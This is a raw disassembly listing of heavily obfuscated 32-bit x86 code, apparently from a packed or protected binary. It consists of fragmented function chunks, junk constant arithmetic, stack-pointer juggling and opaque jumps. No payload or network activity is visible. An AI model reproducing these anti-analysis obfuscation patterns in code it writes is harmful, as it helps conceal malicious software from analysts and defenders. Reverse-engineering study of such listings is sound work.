loc_593BC7:				; CODE XREF: sub_5941BD-6B08j
		mov	[esp+14h+var_14], edx
		mov	edx, 26EF604Eh
		sub	edx, 1
		sub	edx, 26EF5E4Dh
		jmp	loc_58FFD7
; END OF FUNCTION CHUNK	FOR sub_5941BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_593BE0:				; CODE XREF: sub_594228-160Bj
		add	al, 0DCh
		pop	edx
		add	al, 9Ch
		add	al, dl
		sub	al, 9Ch
		jmp	loc_5976ED
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
		lodsb
		push	ebx
		push	ax
		mov	ah, 3Ch
		mov	bl, ah
		mov	ax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 2
		xchg	eax, [esp]
		jmp	loc_592DA3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_593C0D:				; CODE XREF: sub_591435-44Aj
		mov	bl, ch
		mov	al, bl
		jmp	loc_58F264
; ---------------------------------------------------------------------------


loc_593C16:				; CODE XREF: sub_591435+4010j
					; sdfs____:005966BEj
		xchg	esi, [esp+4+var_4]
		pop	esp
		mov	[esp+0], ebx
		push	dword ptr [esp+0]
		pop	eax
		add	esp, 4
		push	4B0Fh
		jmp	loc_594E11
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5985AE


loc_593C2E:				; CODE XREF: sub_5985AE-38C3j
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		push	eax
		mov	eax, 4
		add	ecx, eax
		pop	eax
		sub	esp, 4
		mov	[esp-8+arg_4], ecx
		push	[esp-8+arg_8]
		pop	ecx
		pop	[esp-8+arg_4]
		mov	esp, [esp-0Ch+arg_8]
		push	5DE3h
		mov	[esp-8+arg_4], edi
		jmp	loc_58D0EA
; END OF FUNCTION CHUNK	FOR sub_5985AE
; ---------------------------------------------------------------------------


loc_593C60:				; CODE XREF: sdfs____:0058E6A2j
		mov	eax, [esp]
		add	esp, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		or	[esp], ax
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_593C79:				; CODE XREF: sub_591435+4FBBj
		jmp	loc_5944A5
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_593C7E:				; CODE XREF: sdfs____:00596F7Fj
		pop	esi
		sub	ebp, 76CB6215h
		add	ebp, esi
		jmp	loc_590A2C
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_58F233
; ---------------------------------------------------------------------------


loc_593C95:				; CODE XREF: sdfs____:005981C4j
		pop	esp
		mov	ax, [esp]
		jmp	loc_596FB6
; ---------------------------------------------------------------------------


loc_593C9F:				; CODE XREF: sdfs____:0058D4DCj
		jo	loc_592CC4
		add	ebx, 508575F5h
		mov	edx, ebx
		pop	ebx
		shr	edx, 5
		neg	edx
		xor	edx, 69B7815h
		jz	loc_58FA48
		xor	edx, 0A1CAD6A4h
		sub	edx, ebx
		jmp	loc_5927A9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5987BC


loc_593CCC:				; CODE XREF: sub_5987BC-BB42j
					; sub_591435+76DDj
		mov	si, 0EC9h
		sub	si, 6A00h
		push	ax
		mov	ax, 4983h
		add	si, 3AD0h
		sub	si, ax
		jmp	loc_597AF3
; END OF FUNCTION CHUNK	FOR sub_5987BC
; ---------------------------------------------------------------------------


loc_593CE8:				; CODE XREF: sdfs____:0059509Ej
		sub	edi, 0D273CBD4h
		sub	ebx, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_594E0B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_593CFF:				; CODE XREF: sub_594228-84BAj
		mov	[esp+6+var_8+2], ebx
		xor	[esp+6+var_8+2], 53CA11E1h
		pop	esi
		xor	esi, 53CA11E1h
		pop	ebx
		push	esi
		mov	esi, 646047B4h
		sub	eax, esi
		mov	esi, [esp+2+var_4+2]
		jmp	loc_598957
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------


loc_593D21:				; CODE XREF: sdfs____:00593D5Cj
		pop	edi
		xor	ebp, eax
		pop	eax
		sub	eax, ebp
		jmp	loc_58E8BE
; ---------------------------------------------------------------------------


loc_593D2C:				; CODE XREF: sdfs____:00591F63j
		add	eax, ebp
		add	eax, 6128440Fh
		sub	esp, 4
		mov	[esp], ebp
		push	eax
		mov	eax, 568D42F7h
		push	edi
		push	273E71F1h
		pop	edi
		not	edi
		xor	edi, 10E73B90h
		jo	loc_58D7BF
		xor	edi, 0A3B6D3B4h
		mov	ebp, edi
		jmp	loc_593D21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59214E


loc_593D61:				; CODE XREF: sub_59214E+6j
		mov	[esp+0], ecx
		push	edx
		jmp	loc_58DDEC
; END OF FUNCTION CHUNK	FOR sub_59214E
; ---------------------------------------------------------------------------


loc_593D6A:				; CODE XREF: sdfs____:0058F273j
		not	edi
		jmp	loc_58CE0E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59587A


loc_593D71:				; CODE XREF: sub_59587A+2F8Fj
		push	370Ah
		mov	[esp-6+arg_0+2], ebp
		mov	ebp, 67DF2C66h
		add	ebp, 5134474Eh
		jo	loc_592793
		dec	ebp
		jnz	loc_58DBC5
		shr	ebp, 3
		mov	cl, 0FFh
		mov	edi, edi


loc_593D98:				; CODE XREF: sdfs____:0058E795j
		and	edi, 7ECA5944h
		jmp	loc_590D59
; END OF FUNCTION CHUNK	FOR sub_59587A
; ---------------------------------------------------------------------------


loc_593DA3:				; CODE XREF: sdfs____:0058F8B7j
		add	eax, ebx
		add	eax, 3DF372D9h
		push	ebx
		mov	ebx, 8604B76h
		inc	ebx
		push	edi
		push	ebx
		push	esi
		mov	esi, 32C20C25h
		push	ebp
		mov	ebp, 7B66477h
		xor	esi, ebp
		pop	ebp
		shl	esi, 3
		jp	loc_5923DA
		add	esi, 8D8CC6CFh
		mov	ebx, esi
		pop	esi
		mov	edi, ebx


loc_593DD6:				; CODE XREF: sdfs____:0058EA0Cj
		sub	ecx, ebp
		add	ecx, 430745AEh
		pop	ebp
		xor	ecx, [esp]
		jmp	loc_590DB1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59587A


loc_593DE7:				; CODE XREF: sub_59587A-9467j
		inc	edi
		add	edi, 0B7D29842h
		xor	eax, edi
		pop	edi
		xor	eax, 7CD91651h
		not	eax
		inc	eax
		xor	eax, 0BDB795B0h
		jmp	loc_5986CD
; END OF FUNCTION CHUNK	FOR sub_59587A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5985AE


loc_593E03:				; CODE XREF: sub_5985AE-1411j
		mov	ecx, esp
		sub	esp, 4
		jmp	loc_594CE8
; END OF FUNCTION CHUNK	FOR sub_5985AE
; ---------------------------------------------------------------------------


loc_593E10:				; CODE XREF: sdfs____:00590DB4j
		xor	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_590906
; ---------------------------------------------------------------------------


loc_593E1B:				; CODE XREF: sdfs____:00595B14j
		add	ecx, ebp
		pop	ebp
		push	eax
		mov	eax, 4
		sub	ecx, eax
		jmp	loc_58C97C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5985AE


loc_593E2B:				; CODE XREF: sub_5985AE-299Dj
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp+0]
		pop	eax
		jmp	sub_5917AD
; END OF FUNCTION CHUNK	FOR sub_5985AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_593E37:				; CODE XREF: sub_594228-2569j
		add	ecx, 6DBEC6C3h
		add	ebx, ecx
		pop	ecx
		push	esi
		jmp	loc_58CEA8
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	9B0h
		mov	[esp], esi
		push	esp
		pop	esi
		jmp	loc_58F2EE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58CDE6


loc_593E59:				; CODE XREF: sub_58CDE6+8D6Aj
		add	ebx, edx
		pop	edx
		xor	ebx, 78C865D2h
		add	edx, ebx
		pop	ebx
		jmp	loc_58B9C5
; END OF FUNCTION CHUNK	FOR sub_58CDE6
; ---------------------------------------------------------------------------


loc_593E6A:				; CODE XREF: sdfs____:00595BE9j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	127Dh
		mov	[esp], eax
		mov	eax, 24h
		jmp	loc_596562
; ---------------------------------------------------------------------------


loc_593E86:				; CODE XREF: sdfs____:00594FAEj
		push	eax
		push	esi
		mov	esi, 6AB56978h
		jmp	loc_593363
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5941BD


loc_593E92:				; CODE XREF: sub_5941BD-14B9j
		pop	esi
		add	esp, 4
		push	5121h
		mov	[esp+8+var_8], ebp
		mov	ebp, 2BA86866h
		shl	ebp, 2
		push	edi
		jmp	loc_58C9F9
; END OF FUNCTION CHUNK	FOR sub_5941BD
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_58C558
; ---------------------------------------------------------------------------


loc_593EC2:				; CODE XREF: sdfs____:00591E84j
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, esp
		push	ebx
		mov	ebx, 7FF04663h
		push	ebp
		mov	ebp, 4EA06F63h
		or	ebx, ebp
		pop	ebp
		shl	ebx, 2
		xchg	ecx, ebx
		not	ecx
		inc	ecx
		jmp	loc_597C28
; ---------------------------------------------------------------------------


loc_593EE7:				; CODE XREF: sdfs____:00595EE6j
		push	ebx
		add	dword ptr [esp], 79E17818h
		pop	ebp
		sub	ebp, 79E17818h
		jmp	loc_58D4B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_593EFB:				; CODE XREF: sub_5917C0+1859j
		push	eax
		mov	ah, 94h
		xor	cl, ah
		mov	eax, [esp+0]
		add	esp, 4
		jmp	loc_597892
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------


loc_593F0E:				; CODE XREF: sdfs____:0059337Cj
		xchg	eax, [esp]
		jmp	loc_58DA87
; ---------------------------------------------------------------------------


loc_593F16:				; CODE XREF: sdfs____:0058BC1Ej
		sub	edi, 464FC1EDh
		sub	ebx, 7E217791h
		add	ebx, edi
		push	eax
		jmp	loc_595F3C
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_591B5B
; ---------------------------------------------------------------------------


loc_593F33:				; CODE XREF: sdfs____:0058F8D7j
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		push	esi
		mov	esi, 4
		sub	edi, 19D174F3h
		jmp	loc_595A83
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_593F52:				; CODE XREF: sub_591435+59F8j
					; sub_58BAD7+B7E0j
		mov	edi, [esp+10h+var_10]
		add	esp, 4
		xchg	edx, [esp+0Ch+var_C]
		pop	esp
		mov	[esp+8+var_8], ebp
		jmp	loc_595E58
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_593F64:				; CODE XREF: sdfs____:005935E0j
		pop	ebx
		neg	ebp
		sub	ebp, 3081D72Dh
		add	edi, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], edi
		push	dword ptr [esp+4]
		jmp	loc_595C5A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598A21


loc_593F82:				; CODE XREF: sub_598A21-C3FDj
		push	eax
		jmp	loc_596A33
; END OF FUNCTION CHUNK	FOR sub_598A21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594F18


loc_593F88:				; CODE XREF: sub_594F18-85Dj
		pop	esi
		add	ebp, 22F57156h
		jmp	loc_58C236
; END OF FUNCTION CHUNK	FOR sub_594F18
; ---------------------------------------------------------------------------


loc_593F94:				; CODE XREF: sdfs____:0059873Aj
		add	edx, 4
		jmp	loc_5931C4
; ---------------------------------------------------------------------------


loc_593F9F:				; CODE XREF: sdfs____:0058DCD5j
		mov	ecx, [esp]
		add	esp, 4
		and	ebx, eax
		pop	eax
		jmp	loc_5938E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596736


loc_593FB0:				; CODE XREF: sub_596736-85D3j
		pop	esp
		shr	ecx, 6
		jmp	loc_597E03
; END OF FUNCTION CHUNK	FOR sub_596736
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_595D28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_593FC2:				; CODE XREF: sub_5917C0-CE2j
		mov	[esp+0Ah+var_C+2], ecx
		push	esp
		pop	ecx
		jmp	loc_58F278
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------


loc_593FCC:				; CODE XREF: sdfs____:0058F22Ej
		mov	[esp], ecx
		jmp	loc_5909CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_593FD4:				; CODE XREF: sub_594228+1AFBj
		pop	esi
		and	ecx, ebx
		jmp	loc_58BD73
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5941BD


loc_593FDC:				; CODE XREF: sub_5941BD:loc_59599Dj
		shr	ebx, 7
		js	loc_591CD4
		jmp	loc_58BF78
; END OF FUNCTION CHUNK	FOR sub_5941BD
; ---------------------------------------------------------------------------
		pop	dword ptr [edi+40h]
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593131


loc_593FF2:				; CODE XREF: sub_593131+33j
		shr	eax, 0Bh
		jmp	loc_590DE8
; END OF FUNCTION CHUNK	FOR sub_593131
; ---------------------------------------------------------------------------


loc_593FFA:				; CODE XREF: sdfs____:0058E880j
		or	esi, 280B0083h
		jge	loc_590A8C
		sub	esi, 0B7BE3147h
		jmp	loc_59627D
; ---------------------------------------------------------------------------
		push	ecx


loc_594012:				; CODE XREF: sdfs____:0058DD89j
		add	esp, 4
		or	ecx, ecx
		jz	sub_59214E
		push	eax
		mov	eax, esp
		push	edi
		mov	edi, 4AF1652Eh
		or	edi, 53610D08h
		not	edi
		not	edi
		add	edi, 0A40E92D6h
		jmp	loc_58FC7F
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	ecx
		push	0F63h
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		push	2B66h
		jmp	loc_58CD89
; ---------------------------------------------------------------------------


loc_59405C:				; CODE XREF: sdfs____:00591531j
		xor	edx, 647817FEh
		mov	ebx, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	0DCh
		mov	[esp], edx
		mov	edx, esp
		push	edi
		mov	edi, 3B1A4964h
		not	edi
		dec	edi
		dec	edi
		jmp	loc_596057
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_594089:				; CODE XREF: sub_591435-3D12j
		mov	[esp+4+var_4], edx
		mov	edx, 348D7D81h
		jmp	loc_58D029
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_594096:				; CODE XREF: sdfs____:loc_598DE3j
		xor	edi, 44B55C1Dh
		mov	ebp, edi
		pop	edi
		jmp	loc_58E847
; ---------------------------------------------------------------------------


loc_5940A4:				; CODE XREF: sdfs____:00593AAEj
		push	esp
		pop	edi
		push	eax
		mov	eax, 4
		jmp	loc_59744A
; ---------------------------------------------------------------------------
		push	438h
		mov	[esp], esi
		push	8022082h
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_59365B
; ---------------------------------------------------------------------------


loc_5940C9:				; CODE XREF: sdfs____:0058E326j
		mov	ecx, 66820D56h
		mov	edx, 0E5B96CE9h
		sub	edx, ecx
		pop	ecx
		or	edx, 51BB723Fh
		push	ebx
		jmp	loc_5974DD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_5940E2:				; CODE XREF: sub_594228-5EC8j
		add	esi, 62BF0A47h
		jmp	loc_59857A
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------


loc_5940ED:				; CODE XREF: sdfs____:00596DAEj
		push	edx
		mov	edx, 75A57EDDh
		xor	edx, 4FEE0FC8h
		neg	edx
		or	edx, 281E6BE5h
		inc	edx
		push	eax
		mov	eax, 104B1AA4h
		add	edx, eax
		pop	eax
		sub	edx, 96B7F850h
		xor	esi, edx
		jmp	loc_59812C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591397


loc_594118:				; CODE XREF: sub_591397+24j
		push	ecx
		push	eax
		mov	al, 3Eh
		shr	al, 3
		jmp	loc_5975CA
; END OF FUNCTION CHUNK	FOR sub_591397
; ---------------------------------------------------------------------------


loc_594124:				; CODE XREF: sdfs____:00592F3Ej
		push	edx
		push	esi
		push	0B5A6A52h
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_58CC00
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591397


loc_594136:				; CODE XREF: sub_591397+6242j
		or	edx, eax
		pop	eax
		shr	edx, 5
		push	esi
		mov	esi, 35A275F5h
		and	edx, esi
		pop	esi
		push	ecx
		mov	ecx, 0FE7DCE0Fh
		sub	edx, 47A04CCDh
		add	edx, ecx
		jmp	loc_5907D8
; END OF FUNCTION CHUNK	FOR sub_591397
; ---------------------------------------------------------------------------


loc_594158:				; CODE XREF: sdfs____:00592F14j
		pop	esp
		jmp	loc_591401
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_58E539
; ---------------------------------------------------------------------------


loc_594167:				; CODE XREF: sdfs____:00594F13j
		sub	ecx, 1DA441FEh
		pop	ebx
		jmp	loc_59389A
; ---------------------------------------------------------------------------


loc_594173:				; CODE XREF: sdfs____:00595A2Aj
		pop	ecx
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5962EB


loc_594179:				; CODE XREF: sub_5962EB-CBFj
		inc	esi
		add	esi, 0FFFFFFFFh
		dec	esi
		push	esi
		jmp	loc_58E0E3
; END OF FUNCTION CHUNK	FOR sub_5962EB
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_594C9D
; ---------------------------------------------------------------------------


loc_59418D:				; CODE XREF: sdfs____:0059280Ej
		mov	[esp], ecx
		mov	ecx, 2
		add	edx, ecx
		mov	ecx, [esp]
		jmp	loc_58CDF6
; ---------------------------------------------------------------------------


loc_59419F:				; CODE XREF: sdfs____:00595820j
		mov	eax, [esp]
		jmp	loc_5930B6
; ---------------------------------------------------------------------------


loc_5941A7:				; CODE XREF: sdfs____:0059709Cj
		shr	eax, 8
		push	ebx
		mov	ebx, 0DC8520Bh
		jmp	loc_5982A5
; ---------------------------------------------------------------------------
		push	dword ptr [edi+40h]
		jmp	loc_58B9C5

; =============== S U B	R O U T	I N E =======================================



sub_5941BD	proc near		; CODE XREF: sub_594F18+433j

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0058BE0D SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058BF78 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058C202 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0058C24A SIZE 00000042 BYTES
; FUNCTION CHUNK AT 0058C7BA SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0058C7F6 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058C9F9 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0058CC88 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058CD5C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058CDA6 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058CEF0 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058D09E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058D69E SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0058D74D SIZE 0000002C BYTES
; FUNCTION CHUNK AT 0058D7CC SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0058D89F SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0058D9D1 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0058DC24 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058F87F SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0058F9EF SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058FC72 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058FDCB SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0058FE47 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0058FFD7 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005910CE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00591CAA SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00592834 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005929C1 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00592CD7 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00592D01 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00592FB0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00592FE2 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00593303 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00593791 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059380F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00593B75 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00593BC7 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00593E92 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00593FDC SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00594748 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00594B49 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 00595123 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0059517B SIZE 0000002A BYTES
; FUNCTION CHUNK AT 005958BA SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0059599D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00596078 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059626B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059641B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005965E3 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005966EA SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059711C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00597466 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00597A32 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00597AA0 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00598413 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059847F SIZE 0000002B BYTES
; FUNCTION CHUNK AT 00598876 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00598B36 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00598BA4 SIZE 00000007 BYTES

		push	ebp
		mov	ebp, 0
		jmp	loc_594748
sub_5941BD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5962EB


loc_5941C8:				; CODE XREF: sub_5962EB-C78j
		add	[esp-4+arg_4], 22AD1A30h
		add	[esp-4+arg_4], eax
		sub	[esp-4+arg_4], 22AD1A30h
		pop	eax
		mov	eax, [esp-8+arg_4]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp-4+arg_0]
		pop	esp
		mov	[esp-8+arg_4], ecx
		push	esp
		jmp	loc_5918A7
; END OF FUNCTION CHUNK	FOR sub_5962EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_5941FC:				; CODE XREF: sub_591435+604Bj
		xor	eax, 9C578ACBh
		jmp	loc_59450B
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EC13


loc_594206:				; CODE XREF: sub_58EC13+6F25j
		pop	edi
		add	edi, 4
		sub	esp, 4
		mov	[esp+0Ch+var_C], ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		xchg	edi, [esp+8+var_8]
		pop	esp
		sub	[edi+24h], esi
		mov	esi, [esp+4+var_4]
		add	esp, 4
; END OF FUNCTION CHUNK	FOR sub_58EC13

; =============== S U B	R O U T	I N E =======================================



sub_594228	proc near		; CODE XREF: sub_591435+1F99j

var_2E		= dword	ptr -2Eh
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_6		= dword	ptr  0Ah
arg_A		= dword	ptr  0Eh
arg_E		= dword	ptr  12h

; FUNCTION CHUNK AT 0058B9F5 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058BA8C SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0058BCBE SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058BD28 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058BD57 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0058BD88 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0058BEB9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058BECF SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058C1F4 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058C310 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058C367 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058C3DE SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058C595 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0058C754 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0058C900 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 0058CB58 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0058CD51 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058CD63 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058CD7E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058CEA8 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058CF2E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058D127 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0058D2F5 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0058D31A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058D452 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058D47F SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0058D555 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058DAE1 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0058DE20 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058DEA8 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0058DFAA SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0058E03F SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0058E08E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058E220 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058E35A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058E3AA SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058E498 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058E528 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058E70C SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058E8EC SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0058EC59 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058EE08 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 0058EEEC SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0058F1FC SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0058F30E SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0058F345 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0058F473 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058F637 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058F699 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058F77A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058F838 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058F8F1 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0058F9BB SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058FAAB SIZE 00000035 BYTES
; FUNCTION CHUNK AT 0058FB0B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058FBF1 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058FC99 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058FD5F SIZE 00000033 BYTES
; FUNCTION CHUNK AT 0058FDC3 SIZE 00000008 BYTES
